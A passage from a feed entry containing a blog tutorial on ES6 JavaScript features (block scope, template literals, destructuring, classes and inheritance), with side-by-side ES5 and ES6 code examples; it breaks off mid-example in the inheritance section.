    <link href="https://adrianmejia.com/Overview-of-JavaScript-ES6-features-a-k-a-ECMAScript-6-and-ES2015/"/>
    <id>https://adrianmejia.com/Overview-of-JavaScript-ES6-features-a-k-a-ECMAScript-6-and-ES2015/</id>
    <published>2016-10-19T21:01:34.000Z</published>
    <updated>2016-10-25T16:02:34.000Z</updated>
    
    <content type="html"><![CDATA[<p>JavaScript has changed quite a bit in the last years. These are 12 new features that you can start using today!</p>
<h2 id="JavaScript-History"><a href="#JavaScript-History" class="headerlink" title="JavaScript History"></a>JavaScript History</h2><p>The new additions to the language are called ECMAScript 6. It is also referred as ES6 or ES2015+.</p>
<p>Since JavaScript conception on 1995, it has been evolving slowly. New additions happened every few years. ECMAScript came to be in 1997 to guide the path of JavaScript. It has been releasing versions such as ES3, ES5, ES6 and so on.</p>
<img src="/images/history-javascript-evolution-es6.png" class="" title="History of JavaScript Evolution">

<p>As you can see, there are gaps of 10 and 6 years between the ES3, ES5, and ES6. The new model is to make small incremental changes every year. Instead of doing massive changes at once like happened with ES6.</p>
<h2 id="Browsers-Support"><a href="#Browsers-Support" class="headerlink" title="Browsers Support"></a>Browsers Support</h2><p>All modern browser and environments support ES6 already!</p>
<img src="/images/es6-javascript-support.png" class="" title="ES6 Support">
<p><small>source: <a href="https://kangax.github.io/compat-table/es6/">https://kangax.github.io/compat-table/es6/</a></small></p>
<p>Chrome, MS Edge, Firefox, Safari, Node and many others have already built-in support for most of the features of JavaScript ES6. So, everything that you are going to learn in this tutorial you can start using it right now.</p>
<p>Let’s get started with ECMAScript 6!</p>
<h2 id="Core-ES6-Features"><a href="#Core-ES6-Features" class="headerlink" title="Core ES6 Features"></a>Core ES6 Features</h2><p>You can test all these code snippets on your browser console!</p>
<img src="/images/javascript-es6-classes-on-browser-console.png" class="" title="Testing Javascript ES6 classes on browser console">

<p>So don’t take my word and test every ES5 and ES6 example. Let’s dig in 💪</p>
<h3 id="Block-scope-variables"><a href="#Block-scope-variables" class="headerlink" title="Block scope variables"></a>Block scope variables</h3><p>With ES6, we went from declaring variables with <code>var</code> to  use <code>let</code>/<code>const</code>.</p>
<p>What was wrong with <code>var</code>?</p>
<p>The issue with <code>var</code> is the variable leaks into other code block such as <code>for</code> loops or <code>if</code> blocks.</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> x = <span class="string">&#x27;outer&#x27;</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params">inner</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">if</span> (inner) &#123;</span><br><span class="line marked">    <span class="keyword">var</span> x = <span class="string">&#x27;inner&#x27;</span>; <span class="comment">// scope whole function</span></span><br><span class="line">    <span class="keyword">return</span> x;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> x; <span class="comment">// gets redefined because line 4 declaration is hoisted</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line marked">test(<span class="literal">false</span>); <span class="comment">// undefined 😱</span></span><br><span class="line">test(<span class="literal">true</span>); <span class="comment">// inner</span></span><br></pre></td></tr></table></figure>

<p>For <code>test(false)</code> you would expect to return <code>outer</code>, BUT NO, you get <code>undefined</code>.</p>
<p>Why?</p>
<p>Because even though the if-block is not executed, the expression <code>var x</code> in line 4 is hoisted.</p>
<blockquote>
<p>var <strong>hoisting</strong>:</p>
</blockquote>
<ul>
<li><code>var</code> is function scoped. It is availble in the whole function even before being declared.</li>
<li>Declarations are Hoisted. So you can use a variable before it has been declared.</li>
<li>Initializations are NOT hoisted. If you are using <code>var</code> ALWAYS declare your variables at the top.</li>
<li>After applying the rules of hoisting we can understand better what’s happening:<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> x = <span class="string">&#x27;outer&#x27;</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params">inner</span>) </span>&#123;</span><br><span class="line marked">  <span class="keyword">var</span> x; <span class="comment">// HOISTED DECLARATION</span></span><br><span class="line">  <span class="keyword">if</span> (inner) &#123;</span><br><span class="line marked">    x = <span class="string">&#x27;inner&#x27;</span>; <span class="comment">// INITIALIZATION NOT HOISTED</span></span><br><span class="line">    <span class="keyword">return</span> x;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> x;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


</li>
</ul>
<p>ECMAScript 2015 comes to the rescue:</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line marked"><span class="keyword">let</span> x = <span class="string">&#x27;outer&#x27;</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params">inner</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">if</span> (inner) &#123;</span><br><span class="line marked">    <span class="keyword">let</span> x = <span class="string">&#x27;inner&#x27;</span>;</span><br><span class="line">    <span class="keyword">return</span> x;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> x; <span class="comment">// gets result from line 1 as expected</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">test(<span class="literal">false</span>); <span class="comment">// outer</span></span><br><span class="line">test(<span class="literal">true</span>); <span class="comment">// inner</span></span><br></pre></td></tr></table></figure>

<p>Changing <code>var</code> for <code>let</code> makes things work as expected. If the <code>if</code> block is not called the variable <code>x</code> doesn’t get hoisted out of the block.</p>
<blockquote>
<p>Let <strong>hoisting</strong> and “temporal dead zone”</p>
</blockquote>
<ul>
<li>In ES6, <code>let</code> will hoist the variable to the top of the block (NOT at the top of function like ES5).</li>
<li>However, referencing the variable in the block before the variable declaration results in a <code>ReferenceError</code>.</li>
<li><code>let</code> is blocked scoped. You cannot use it before it is declared.</li>
<li>“Temporal dead zone” is the zone from the start of the block until the variable is declared.</li>
</ul>
<p><strong>IIFE</strong></p>
<p>Let’s show an example before explaining <abbr title="immediately-invoked function expressionn">IIFE</abbr>. Take a look here:</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line marked">  <span class="keyword">var</span> private = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(private); <span class="comment">// 1</span></span><br></pre></td></tr></table></figure>

<p>As you can see, <code>private</code> leaks out. You need to use <abbr title="immediately-invoked function expressionn">IIFE</abbr> (immediately-invoked function expression) to contain it:</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line marked">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">  <span class="keyword">var</span> private2 = <span class="number">1</span>;</span><br><span class="line marked">&#125;)();</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(private2); <span class="comment">// Uncaught ReferenceError</span></span><br></pre></td></tr></table></figure>

<p>If you take a look at jQuery/lodash or other open source projects you will notice they have <abbr title="immediately-invoked function expression">IIFE</abbr> to avoid polluting the global environment and just defining on global such as <code>_</code>, <code>$</code> or <code>jQuery</code>.</p>
<p>On ES6 is much cleaner, We also don’t need to use <abbr title="immediately-invoked function expression">IIFE</abbr> anymore when we can just use blocks and <code>let</code>:</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line marked">  <span class="keyword">let</span> private3 = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(private3); <span class="comment">// Uncaught ReferenceError</span></span><br></pre></td></tr></table></figure>

<p><strong>Const</strong></p>
<p>You can also use <code>const</code> if you don’t want a variable to change at all.</p>
<img src="/images/javascript-es6-const-variables-example.png" class="" title="const variable example">

<blockquote>
<p>Bottom line: ditch <code>var</code> for <code>let</code> and <code>const</code>.</p>
</blockquote>
<ul>
<li>Use <code>const</code> for all your references; avoid using <code>var</code>.</li>
<li>If you must reassign references, use <code>let</code> instead of <code>const</code>.</li>
</ul>
<h3 id="Template-Literals"><a href="#Template-Literals" class="headerlink" title="Template Literals"></a>Template Literals</h3><p>We don’t have to do more nesting concatenations when we have template literals. Take a look:</p>
<figure class="highlight javascript"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> first = <span class="string">&#x27;Adrian&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> last = <span class="string">&#x27;Mejia&#x27;</span>;</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;Your name is &#x27;</span> + first + <span class="string">&#x27; &#x27;</span> + last + <span class="string">&#x27;.&#x27;</span>);</span><br></pre></td></tr></table></figure>

<p>Now you can use backtick (`) and string interpolation <code>$&#123;&#125;</code>:</p>
<figure class="highlight javascript"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> first = <span class="string">&#x27;Adrian&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> last = <span class="string">&#x27;Mejia&#x27;</span>;</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">`Your name is <span class="subst">$&#123;first&#125;</span> <span class="subst">$&#123;last&#125;</span>.`</span>);</span><br></pre></td></tr></table></figure>

<h3 id="Multi-line-strings"><a href="#Multi-line-strings" class="headerlink" title="Multi-line strings"></a>Multi-line strings</h3><p>We don’t have to concatenate strings + <code>\n</code> anymore like this:</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> template = <span class="string">&#x27;&lt;li *ngFor=&quot;let todo of todos&quot; [ngClass]=&quot;&#123;completed: todo.isDone&#125;&quot; &gt;\n&#x27;</span> +</span><br><span class="line"><span class="string">&#x27;  &lt;div class=&quot;view&quot;&gt;\n&#x27;</span> +</span><br><span class="line"><span class="string">&#x27;    &lt;input class=&quot;toggle&quot; type=&quot;checkbox&quot; [checked]=&quot;todo.isDone&quot;&gt;\n&#x27;</span> +</span><br><span class="line"><span class="string">&#x27;    &lt;label&gt;&lt;/label&gt;\n&#x27;</span> +</span><br><span class="line"><span class="string">&#x27;    &lt;button class=&quot;destroy&quot;&gt;&lt;/button&gt;\n&#x27;</span> +</span><br><span class="line"><span class="string">&#x27;  &lt;/div&gt;\n&#x27;</span> +</span><br><span class="line"><span class="string">&#x27;  &lt;input class=&quot;edit&quot; value=&quot;&quot;&gt;\n&#x27;</span> +</span><br><span class="line"><span class="string">&#x27;&lt;/li&gt;&#x27;</span>;</span><br><span class="line"><span class="built_in">console</span>.log(template);</span><br></pre></td></tr></table></figure>

<p>On ES6 we can use the backtick again to solve this:</p>
<figure class="highlight plain"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">const template &#x3D; &#96;&lt;li *ngFor&#x3D;&quot;let todo of todos&quot; [ngClass]&#x3D;&quot;&#123;completed: todo.isDone&#125;&quot; &gt;</span><br><span class="line">  &lt;div class&#x3D;&quot;view&quot;&gt;</span><br><span class="line">    &lt;input class&#x3D;&quot;toggle&quot; type&#x3D;&quot;checkbox&quot; [checked]&#x3D;&quot;todo.isDone&quot;&gt;</span><br><span class="line">    &lt;label&gt;&lt;&#x2F;label&gt;</span><br><span class="line">    &lt;button class&#x3D;&quot;destroy&quot;&gt;&lt;&#x2F;button&gt;</span><br><span class="line">  &lt;&#x2F;div&gt;</span><br><span class="line">  &lt;input class&#x3D;&quot;edit&quot; value&#x3D;&quot;&quot;&gt;</span><br><span class="line">&lt;&#x2F;li&gt;&#96;;</span><br><span class="line">console.log(template);</span><br></pre></td></tr></table></figure>

<p>Both pieces of code will have exactly the same result.</p>
<h3 id="Destructuring-Assignment"><a href="#Destructuring-Assignment" class="headerlink" title="Destructuring Assignment"></a>Destructuring Assignment</h3><p>ES6 desctructing is very useful and consise. Follow this examples:</p>
<p><strong>Getting elements from an arrays</strong></p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> array = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>];</span><br><span class="line"></span><br><span class="line marked"><span class="keyword">var</span> first = array[<span class="number">0</span>];</span><br><span class="line marked"><span class="keyword">var</span> third = array[<span class="number">2</span>];</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(first, third); <span class="comment">// 1 3</span></span><br></pre></td></tr></table></figure>

<p>Same as:</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> array = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>];</span><br><span class="line"></span><br><span class="line marked"><span class="keyword">const</span> [first, ,third] = array;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(first, third); <span class="comment">// 1 3</span></span><br></pre></td></tr></table></figure>

<p><strong>Swapping values</strong></p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">var</span> b = <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line marked"><span class="keyword">var</span> tmp = a;</span><br><span class="line marked">a = b;</span><br><span class="line marked">b = tmp;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(a, b); <span class="comment">// 2 1</span></span><br></pre></td></tr></table></figure>

<p>same as</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">let</span> b = <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line marked">[a, b] = [b, a];</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(a, b); <span class="comment">// 2 1</span></span><br></pre></td></tr></table></figure>

<p><strong>Destructuring for multiple return values</strong></p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">margin</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">  <span class="keyword">var</span> left=<span class="number">1</span>, right=<span class="number">2</span>, top=<span class="number">3</span>, bottom=<span class="number">4</span>;</span><br><span class="line marked">  <span class="keyword">return</span> &#123; <span class="attr">left</span>: left, <span class="attr">right</span>: right, <span class="attr">top</span>: top, <span class="attr">bottom</span>: bottom &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> data = margin();</span><br><span class="line marked"><span class="keyword">var</span> left = data.left;</span><br><span class="line marked"><span class="keyword">var</span> bottom = data.bottom;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(left, bottom); <span class="comment">// 1 4</span></span><br></pre></td></tr></table></figure>

<p>In line 3, you could also return it in an array like this (and save some typing):</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">return</span> [left, right, top, bottom];</span><br></pre></td></tr></table></figure>

<p>but then, the caller needs to think about the order of return data.</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> left = data[<span class="number">0</span>];</span><br><span class="line"><span class="keyword">var</span> bottom = data[<span class="number">3</span>];</span><br></pre></td></tr></table></figure>

<p>With ES6, the caller selects only the data they need (line 6):</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">margin</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> left=<span class="number">1</span>, right=<span class="number">2</span>, top=<span class="number">3</span>, bottom=<span class="number">4</span>;</span><br><span class="line marked">  <span class="keyword">return</span> &#123; left, right, top, bottom &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line marked"><span class="keyword">const</span> &#123; left, bottom &#125; = margin();</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(left, bottom); <span class="comment">// 1 4</span></span><br></pre></td></tr></table></figure>

<p><em>Notice:</em> Line 3, we have some other ES6 features going on. We can compact <code>&#123; left: left &#125;</code> to just <code>&#123; left &#125;</code>. Look how much concise it is compare to the ES5 version. Isn’t that cool?</p>
<p><strong>Destructuring for parameters matching</strong></p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> user = &#123;<span class="attr">firstName</span>: <span class="string">&#x27;Adrian&#x27;</span>, <span class="attr">lastName</span>: <span class="string">&#x27;Mejia&#x27;</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getFullName</span>(<span class="params">user</span>) </span>&#123;</span><br><span class="line marked">  <span class="keyword">var</span> firstName = user.firstName;</span><br><span class="line marked">  <span class="keyword">var</span> lastName = user.lastName;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> firstName + <span class="string">&#x27; &#x27;</span> + lastName;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(getFullName(user)); <span class="comment">// Adrian Mejia</span></span><br></pre></td></tr></table></figure>

<p>Same as (but more concise):</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> user = &#123;<span class="attr">firstName</span>: <span class="string">&#x27;Adrian&#x27;</span>, <span class="attr">lastName</span>: <span class="string">&#x27;Mejia&#x27;</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getFullName</span>(<span class="params">&#123; firstName, lastName &#125;</span>) </span>&#123;</span><br><span class="line marked">  <span class="keyword">return</span> <span class="string">`<span class="subst">$&#123;firstName&#125;</span> <span class="subst">$&#123;lastName&#125;</span>`</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(getFullName(user)); <span class="comment">// Adrian Mejia</span></span><br></pre></td></tr></table></figure>

<p><strong>Deep Matching</strong></p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">settings</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> &#123; <span class="attr">display</span>: &#123; <span class="attr">color</span>: <span class="string">&#x27;red&#x27;</span> &#125;, <span class="attr">keyboard</span>: &#123; <span class="attr">layout</span>: <span class="string">&#x27;querty&#x27;</span>&#125; &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> tmp = settings();</span><br><span class="line marked"><span class="keyword">var</span> displayColor = tmp.display.color;</span><br><span class="line marked"><span class="keyword">var</span> keyboardLayout = tmp.keyboard.layout;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(displayColor, keyboardLayout); <span class="comment">// red querty</span></span><br></pre></td></tr></table></figure>

<p>Same as (but more concise):</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">settings</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> &#123; <span class="attr">display</span>: &#123; <span class="attr">color</span>: <span class="string">&#x27;red&#x27;</span> &#125;, <span class="attr">keyboard</span>: &#123; <span class="attr">layout</span>: <span class="string">&#x27;querty&#x27;</span>&#125; &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line marked"><span class="keyword">const</span> &#123; <span class="attr">display</span>: &#123; <span class="attr">color</span>: displayColor &#125;, <span class="attr">keyboard</span>: &#123; <span class="attr">layout</span>: keyboardLayout &#125;&#125; = settings();</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(displayColor, keyboardLayout); <span class="comment">// red querty</span></span><br></pre></td></tr></table></figure>

<p>This is also called object destructing.</p>
<p>As you can see, destructing is very useful and encourages good coding styles.</p>
<blockquote>
<p>Best practices:</p>
</blockquote>
<ul>
<li>Use array destructing to get elements out or swap variables. It saves you from creating temporary references.</li>
<li>Don’t use array destructuring for multiple return values, instead use object destructuring</li>
</ul>
<h3 id="Classes-and-Objects"><a href="#Classes-and-Objects" class="headerlink" title="Classes and Objects"></a>Classes and Objects</h3><p>With ECMAScript 6, We went from “constructor functions” 🔨 to “classes” 🍸.</p>
<blockquote>
<p>In JavaScript every single object has a prototype, which is another object.
All JavaScript objects inherit their methods and properties from their prototype.</p>
</blockquote>
<p>In ES5, we did Object Oriented programming (<abbr title="Object-Oriented Programming">OOP</abbr>) using constructor functions to create objects as follows:</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line marked"><span class="keyword">var</span> Animal = (<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">  <span class="function"><span class="keyword">function</span> <span class="title">MyConstructor</span>(<span class="params">name</span>) </span>&#123;</span><br><span class="line">    <span class="built_in">this</span>.name = name;</span><br><span class="line">  &#125;</span><br><span class="line marked">  MyConstructor.prototype.speak = <span class="function"><span class="keyword">function</span> <span class="title">speak</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="built_in">this</span>.name + <span class="string">&#x27; makes a noise.&#x27;</span>);</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="keyword">return</span> MyConstructor;</span><br><span class="line">&#125;)();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> animal = <span class="keyword">new</span> Animal(<span class="string">&#x27;animal&#x27;</span>);</span><br><span class="line">animal.speak(); <span class="comment">// animal makes a noise.</span></span><br></pre></td></tr></table></figure>

<p>In ES6, we have some syntax sugar. We can do the same with less boiler plate and new keywords such as <code>class</code> and <code>constructor</code>. Also, notice how clearly we define methods <code>constructor.prototype.speak = function ()</code> vs <code>speak()</code>:</p>
<figure class="highlight js"><figcaption><span>ES6</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line marked"><span class="class"><span class="keyword">class</span> <span class="title">Animal</span> </span>&#123;</span><br><span class="line marked">  <span class="keyword">constructor</span>(name) &#123;</span><br><span class="line">    <span class="built_in">this</span>.name = name;</span><br><span class="line">  &#125;</span><br><span class="line marked">  speak() &#123;</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="built_in">this</span>.name + <span class="string">&#x27; makes a noise.&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> animal = <span class="keyword">new</span> Animal(<span class="string">&#x27;animal&#x27;</span>);</span><br><span class="line">animal.speak(); <span class="comment">// animal makes a noise.</span></span><br></pre></td></tr></table></figure>

<p>As we saw, both styles (ES5/6) produces the same results behind the scenes and are used in the same way.</p>
<blockquote>
<p>Best practices:</p>
</blockquote>
<ul>
<li>Always use <code>class</code> syntax and avoid manipulating the <code>prototype</code> directly. Why? because it makes the code more concise and easier to understand.</li>
<li>Avoid having an empty constructor. Classes have a default constructor if one is not specified.</li>
</ul>
<h3 id="Inheritance"><a href="#Inheritance" class="headerlink" title="Inheritance"></a>Inheritance</h3><p>Building on the previous <code>Animal</code> class. Let’s say we want to extend it and define a <code>Lion</code> class</p>
<p>In ES5, It’s a little more involved with prototypal inheritance.</p>
<figure class="highlight js"><figcaption><span>ES5</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> Lion = (<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">  <span class="function"><span class="keyword">function</span> <span class="title">MyConstructor</span>(<span class="params">name</span>)</span>&#123;</span><br><span class="line marked">    Animal.call(<span class="built_in">this</span>, name);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// prototypal inheritance</span></span><br><span class="line marked">  MyConstructor.prototype = <span class="built_in">Object</span>.create(Animal.prototype);</span><br><span class="line marked">  MyConstructor.prototype.constructor = Animal;</span><br><span class="line"></span><br><span class="line">  MyConstructor.prototype.speak = <span class="function"><span class="keyword">function</span> <span class="title">speak</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line marked">    Animal.prototype.speak.call(<span class="built_in">this</span>);</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="built_in">this</span>.name + <span class="string">&#x27; roars 🦁&#x27;</span>);</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="keyword">return</span> MyConstructor;</span><br><span class="line">&#125;)();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> lion = <span class="keyword">new</span> Lion(<span class="string">&#x27;Simba&#x27;</span>);</span><br><span class="line">lion.speak(); <span class="comment">// Simba makes a 